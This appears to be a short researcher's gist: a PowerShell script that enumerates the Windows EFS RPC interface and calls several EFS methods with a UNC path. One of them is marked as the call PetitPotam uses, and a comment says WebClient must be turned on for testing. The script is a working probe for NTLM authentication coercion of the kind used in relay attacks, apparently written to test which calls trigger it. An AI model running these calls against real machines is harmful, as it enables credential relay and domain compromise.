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Created July 30, 2021 21:47
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Install-Module NtObjectManager
Import-Module NtObjectManager
$Servers = Get-RpcServer -Path C:\Windows\system32\efssvc.dll `
-DbgHelpPath 'C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\dbghelp.dll'
$EfsInterace = $Servers | Where-Object { $_.InterfaceId -eq 'df1941c5-fe89-4e79-bf10-463657acf44d' }
$client = Get-RpcClient -Server $EfsInterace
$ret = $client.EfsRpcOpenFileRaw( "\\\asdf\asdf",1) # <-- What PetitPotam uses
$ret = $client.EfsRpcEncryptFileSrv( "\\\asdf\asdf")
$ret = $client.EfsRpcDecryptFileSrv( "\\\asdf\asdf",0)
$ret = $client.EfsRpcQueryUsersOnFile( "\\\asdf\asdf")
$ret = $client.EfsRpcQueryRecoveryAgents("\\\asdf\asdf")
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Dont forget to turn on webclient to test this :) Also you need to either reset webclient or wait 30 seconds between subsequent hung tests.

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